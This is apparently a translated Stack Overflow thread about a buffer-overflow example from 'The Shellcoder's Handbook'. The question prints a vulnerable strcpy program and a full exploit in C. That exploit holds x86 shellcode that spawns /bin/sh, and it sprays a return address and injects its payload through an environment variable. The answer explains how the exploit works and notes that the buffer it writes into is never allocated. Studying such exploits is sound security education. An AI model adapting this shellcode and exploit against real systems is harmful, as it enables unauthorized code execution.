首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >"The Shellcoder's Handbook“attack.c没有任何意义

"The Shellcoder's Handbook“attack.c没有任何意义
EN

Stack Overflow用户
提问于 2020-03-27 23:55:13
回答 1查看 165关注 0票数 0

从"The Shellcoder's Handbook“中摘录的受害者.c如下所示

代码语言:javascript
复制
// victim.c
int main(int argc,char *argv[])
{
   char little_array[512];

   if (argc > 1) 
      strcpy(little_array,argv[1]);
}

它的漏洞,attack.c如下

代码语言:javascript
复制
#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)


unsigned long find_start(void) {
   __asm__("movl %esp,%eax"); //Get ESP's value and return it.
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset;
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}

ptr = buff;将缓冲区的垃圾值分配给ptr(缓冲区未初始化)。接下来的代码行addr_ptr = (long *) ptr;ptr的值(buff的垃圾值)赋值给addr_ptr。我不清楚作者在这几行中的意图。addr_ptr应该包含程序在检索保存的EIP时跳转到的地址,最好是NOP sled。然而,addr_ptr包含的是垃圾值。

我认为buff应该是动态分配的,首先使用malloc。

我知道“Shellcoder's Handbook”有很多错误,但它是少数几本谈到软件开发的书之一。

EN

回答 1

Stack Overflow用户

发布于 2020-08-31 19:41:45

在第26行

代码语言:javascript
复制
addr = find_start() - offset;

addr被设置为目标返回地址,因此它不是真正的垃圾。

根据我的理解,作者所做的是首先使用addr重复填充整个缓冲区,这样既可以作为垃圾数据,也可以作为返回地址来覆盖存储的弹性公网is。此外,如果缓冲区在堆栈上很好地进行了DWORD对齐,这样做可以让它们不必关心放置返回地址的正确偏移量。

然后,他们用BUF=和外壳代码重写这个缓冲区的“垃圾数据部分”的开头。这之所以有效,是因为BUF=的长度为4,因此它不会破坏DWORD对齐。

是的,应该分配buff。请注意,如果您在以下页面中检查nopattack.c,其中将NOP sled添加到漏洞利用中,则您会看到它确实是在第28行上分配的:

代码语言:javascript
复制
  if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
  }

此外,如果您比较attack.cnopattack.c,代码也有很大的不同(分配、变量和函数名、#define常量大写...)令人惊讶的是,后者的代码应该只是前者之后的一次迭代。这表明,当他们写这本书(或第二版)时,可能已经进行了重构,错误可能来自于此。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/60889563

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档